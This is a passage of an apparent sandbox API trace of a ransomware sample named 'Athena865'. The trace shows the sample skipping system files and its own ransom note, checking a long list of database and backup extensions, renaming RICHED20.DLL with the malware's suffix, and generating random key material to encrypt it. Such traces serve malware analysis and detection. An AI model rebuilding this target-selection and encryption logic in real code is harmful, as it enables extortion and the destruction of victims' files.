cAlternateFileName="")) returned 1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".") returned 1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="..") returned 1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="windows") returned -1 [0114.753] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootmgr") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="temp") returned -1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="pagefile.sys") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="boot") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ids.txt") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ntuser.dat") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="perflogs") returned 1 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="MSBuild") returned 1 [0114.754] lstrlenW (lpString="RICHED20.DLL") returned 12 [0114.754] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RICHED20.DLL" | out: lpString1="RICHED20.DLL") returned="RICHED20.DLL" [0114.754] lstrlenW (lpString="RICHED20.DLL") returned 12 [0114.754] lstrlenW (lpString="Athena865") returned 9 [0114.754] lstrcmpiW (lpString1="HED20.DLL", lpString2="Athena865") returned 1 [0114.754] lstrlenW (lpString=".dll") returned 4 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".dll") returned 1 [0114.754] lstrlenW (lpString=".lnk") returned 4 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".lnk") returned 1 [0114.754] lstrlenW (lpString=".ini") returned 4 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".ini") returned 1 [0114.754] lstrlenW (lpString=".sys") returned 4 [0114.754] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".sys") returned 1 [0114.754] lstrlenW (lpString="RICHED20.DLL") returned 12 [0114.754] lstrlenW (lpString="bak") returned 3 [0114.754] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.754] lstrlenW (lpString="ba_") returned 3 [0114.754] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.754] lstrlenW (lpString="dbb") returned 3 [0114.754] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.754] lstrlenW (lpString="vmdk") returned 4 [0114.755] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.755] lstrlenW (lpString="rar") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.755] lstrlenW (lpString="zip") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.755] lstrlenW (lpString="tgz") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.755] lstrlenW (lpString="vbox") returned 4 [0114.755] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.755] lstrlenW (lpString="vdi") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.755] lstrlenW (lpString="vhd") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.755] lstrlenW (lpString="vhdx") returned 4 [0114.755] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.755] lstrlenW (lpString="avhd") returned 4 [0114.755] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.755] lstrlenW (lpString="db") returned 2 [0114.755] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.755] lstrlenW (lpString="db2") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.755] lstrlenW (lpString="db3") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.755] lstrlenW (lpString="dbf") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.755] lstrlenW (lpString="mdf") returned 3 [0114.755] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.755] lstrlenW (lpString="mdb") returned 3 [0114.765] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.765] lstrlenW (lpString="sql") returned 3 [0114.765] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.765] lstrlenW (lpString="sqlite") returned 6 [0114.765] lstrcmpiW (lpString1="20.DLL", lpString2="sqlite") returned -1 [0114.765] lstrlenW (lpString="sqlite3") returned 7 [0114.765] lstrcmpiW (lpString1="D20.DLL", lpString2="sqlite3") returned -1 [0114.765] lstrlenW (lpString="sqlitedb") returned 8 [0114.765] lstrcmpiW (lpString1="ED20.DLL", lpString2="sqlitedb") returned -1 [0114.765] lstrlenW (lpString="xml") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.766] lstrlenW (lpString="$er") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.766] lstrlenW (lpString="4dd") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.766] lstrlenW (lpString="4dl") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.766] lstrlenW (lpString="^^^") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.766] lstrlenW (lpString="abs") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.766] lstrlenW (lpString="abx") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.766] lstrlenW (lpString="accdb") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0114.766] lstrlenW (lpString="accdc") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0114.766] lstrlenW (lpString="accde") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0114.766] lstrlenW (lpString="accdr") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0114.766] lstrlenW (lpString="accdt") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0114.766] lstrlenW (lpString="accdw") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0114.766] lstrlenW (lpString="accft") returned 5 [0114.766] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0114.766] lstrlenW (lpString="adb") returned 3 [0114.766] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.767] lstrlenW (lpString="adb") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.767] lstrlenW (lpString="ade") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.767] lstrlenW (lpString="adf") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.767] lstrlenW (lpString="adn") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.767] lstrlenW (lpString="adp") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.767] lstrlenW (lpString="alf") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.767] lstrlenW (lpString="ask") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.767] lstrlenW (lpString="btr") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.767] lstrlenW (lpString="cat") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.767] lstrlenW (lpString="cdb") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.767] lstrlenW (lpString="ckp") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.767] lstrlenW (lpString="cma") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.767] lstrlenW (lpString="cpd") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.767] lstrlenW (lpString="dacpac") returned 6 [0114.767] lstrcmpiW (lpString1="20.DLL", lpString2="dacpac") returned -1 [0114.767] lstrlenW (lpString="dad") returned 3 [0114.767] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.768] lstrlenW (lpString="dadiagrams") returned 10 [0114.768] lstrcmpiW (lpString1="CHED20.DLL", lpString2="dadiagrams") returned -1 [0114.768] lstrlenW (lpString="daschema") returned 8 [0114.768] lstrcmpiW (lpString1="ED20.DLL", lpString2="daschema") returned 1 [0114.768] lstrlenW (lpString="db-journal") returned 10 [0114.768] lstrcmpiW (lpString1="CHED20.DLL", lpString2="db-journal") returned -1 [0114.768] lstrlenW (lpString="db-shm") returned 6 [0114.768] lstrcmpiW (lpString1="20.DLL", lpString2="db-shm") returned -1 [0114.768] lstrlenW (lpString="db-wal") returned 6 [0114.768] lstrcmpiW (lpString1="20.DLL", lpString2="db-wal") returned -1 [0114.768] lstrlenW (lpString="dbc") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.768] lstrlenW (lpString="dbs") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.768] lstrlenW (lpString="dbt") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.768] lstrlenW (lpString="dbv") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.768] lstrlenW (lpString="dbx") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.768] lstrlenW (lpString="dcb") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.768] lstrlenW (lpString="dct") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.768] lstrlenW (lpString="dcx") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.768] lstrlenW (lpString="ddl") returned 3 [0114.768] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.768] lstrlenW (lpString="dlis") returned 4 [0114.768] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.769] lstrlenW (lpString="dp1") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.769] lstrlenW (lpString="dqy") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.769] lstrlenW (lpString="dsk") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.769] lstrlenW (lpString="dsn") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.769] lstrlenW (lpString="dtsx") returned 4 [0114.769] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.769] lstrlenW (lpString="dxl") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.769] lstrlenW (lpString="eco") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.769] lstrlenW (lpString="ecx") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.769] lstrlenW (lpString="edb") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.769] lstrlenW (lpString="epim") returned 4 [0114.769] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.769] lstrlenW (lpString="fcd") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.769] lstrlenW (lpString="fdb") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.769] lstrlenW (lpString="fic") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.769] lstrlenW (lpString="flexolibrary") returned 12 [0114.769] lstrlenW (lpString="fm5") returned 3 [0114.769] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.769] lstrlenW (lpString="fmp") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.770] lstrlenW (lpString="fmp12") returned 5 [0114.770] lstrcmpiW (lpString1="0.DLL", lpString2="fmp12") returned -1 [0114.770] lstrlenW (lpString="fmpsl") returned 5 [0114.770] lstrcmpiW (lpString1="0.DLL", lpString2="fmpsl") returned -1 [0114.770] lstrlenW (lpString="fol") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.770] lstrlenW (lpString="fp3") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.770] lstrlenW (lpString="fp4") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.770] lstrlenW (lpString="fp5") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.770] lstrlenW (lpString="fp7") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.770] lstrlenW (lpString="fpt") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.770] lstrlenW (lpString="frm") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.770] lstrlenW (lpString="gdb") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.770] lstrlenW (lpString="gdb") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.770] lstrlenW (lpString="grdb") returned 4 [0114.770] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.770] lstrlenW (lpString="gwi") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.770] lstrlenW (lpString="hdb") returned 3 [0114.770] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.770] lstrlenW (lpString="his") returned 3 [0114.771] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.771] lstrlenW (lpString="ib") returned 2 [0114.771] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.771] lstrlenW (lpString="idb") returned 3 [0114.771] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.771] lstrlenW (lpString="ihx") returned 3 [0114.771] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.771] lstrlenW (lpString="itdb") returned 4 [0114.771] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.771] lstrlenW (lpString="itw") returned 3 [0114.771] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.771] lstrlenW (lpString="jet") returned 3 [0114.771] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.771] lstrlenW (lpString="jtx") returned 3 [0114.773] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.774] lstrlenW (lpString="kdb") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.774] lstrlenW (lpString="kexi") returned 4 [0114.774] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.774] lstrlenW (lpString="kexic") returned 5 [0114.774] lstrcmpiW (lpString1="0.DLL", lpString2="kexic") returned -1 [0114.774] lstrlenW (lpString="kexis") returned 5 [0114.774] lstrcmpiW (lpString1="0.DLL", lpString2="kexis") returned -1 [0114.774] lstrlenW (lpString="lgc") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.774] lstrlenW (lpString="lwx") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.774] lstrlenW (lpString="maf") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.774] lstrlenW (lpString="maq") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.774] lstrlenW (lpString="mar") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.774] lstrlenW (lpString="marshal") returned 7 [0114.774] lstrcmpiW (lpString1="D20.DLL", lpString2="marshal") returned -1 [0114.774] lstrlenW (lpString="mas") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.774] lstrlenW (lpString="mav") returned 3 [0114.774] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.774] lstrlenW (lpString="maw") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.775] lstrlenW (lpString="mdbhtml") returned 7 [0114.775] lstrcmpiW (lpString1="D20.DLL", lpString2="mdbhtml") returned -1 [0114.775] lstrlenW (lpString="mdn") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.775] lstrlenW (lpString="mdt") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.775] lstrlenW (lpString="mfd") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.775] lstrlenW (lpString="mpd") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.775] lstrlenW (lpString="mrg") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.775] lstrlenW (lpString="mud") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.775] lstrlenW (lpString="mwb") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.775] lstrlenW (lpString="myd") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.775] lstrlenW (lpString="ndf") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.775] lstrlenW (lpString="nnt") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.775] lstrlenW (lpString="nrmlib") returned 6 [0114.775] lstrcmpiW (lpString1="20.DLL", lpString2="nrmlib") returned -1 [0114.775] lstrlenW (lpString="ns2") returned 3 [0114.775] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.775] lstrlenW (lpString="ns3") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.776] lstrlenW (lpString="ns4") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.776] lstrlenW (lpString="nsf") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.776] lstrlenW (lpString="nv") returned 2 [0114.776] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.776] lstrlenW (lpString="nv2") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.776] lstrlenW (lpString="nwdb") returned 4 [0114.776] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.776] lstrlenW (lpString="nyf") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.776] lstrlenW (lpString="odb") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.776] lstrlenW (lpString="odb") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.776] lstrlenW (lpString="oqy") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.776] lstrlenW (lpString="ora") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.776] lstrlenW (lpString="orx") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.776] lstrlenW (lpString="owc") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.776] lstrlenW (lpString="p96") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.776] lstrlenW (lpString="p97") returned 3 [0114.776] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.776] lstrlenW (lpString="pan") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.777] lstrlenW (lpString="pdb") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.777] lstrlenW (lpString="pdm") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.777] lstrlenW (lpString="pnz") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.777] lstrlenW (lpString="qry") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.777] lstrlenW (lpString="qvd") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.777] lstrlenW (lpString="rbf") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.777] lstrlenW (lpString="rctd") returned 4 [0114.777] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.777] lstrlenW (lpString="rod") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.777] lstrlenW (lpString="rodx") returned 4 [0114.777] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.777] lstrlenW (lpString="rpd") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.777] lstrlenW (lpString="rsd") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.777] lstrlenW (lpString="sas7bdat") returned 8 [0114.777] lstrcmpiW (lpString1="ED20.DLL", lpString2="sas7bdat") returned -1 [0114.777] lstrlenW (lpString="sbf") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.777] lstrlenW (lpString="scx") returned 3 [0114.777] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.777] lstrlenW (lpString="sdb") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.778] lstrlenW (lpString="sdc") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.778] lstrlenW (lpString="sdf") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.778] lstrlenW (lpString="sis") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.778] lstrlenW (lpString="spq") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.778] lstrlenW (lpString="te") returned 2 [0114.778] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.778] lstrlenW (lpString="teacher") returned 7 [0114.778] lstrcmpiW (lpString1="D20.DLL", lpString2="teacher") returned -1 [0114.778] lstrlenW (lpString="tmd") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.778] lstrlenW (lpString="tps") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.778] lstrlenW (lpString="trc") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.778] lstrlenW (lpString="trc") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.778] lstrlenW (lpString="trm") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.778] lstrlenW (lpString="udb") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.778] lstrlenW (lpString="udl") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.778] lstrlenW (lpString="usr") returned 3 [0114.778] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.778] lstrlenW (lpString="v12") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.779] lstrlenW (lpString="vis") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.779] lstrlenW (lpString="vpd") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.779] lstrlenW (lpString="vvv") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.779] lstrlenW (lpString="wdb") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.779] lstrlenW (lpString="wmdb") returned 4 [0114.779] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.779] lstrlenW (lpString="wrk") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.779] lstrlenW (lpString="xdb") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.779] lstrlenW (lpString="xld") returned 3 [0114.779] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.779] lstrlenW (lpString="xmlff") returned 5 [0114.779] lstrcmpiW (lpString1="0.DLL", lpString2="xmlff") returned -1 [0114.779] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.Athena865") returned 78 [0114.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.athena865"), dwFlags=0x1) returned 1 [0114.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1870696) returned 1 [0114.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.782] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.782] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.783] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c8e70, lpName=0x0) returned 0x154 [0114.784] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c8e70) returned 0x2d50000 [0114.932] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.935] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.935] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: 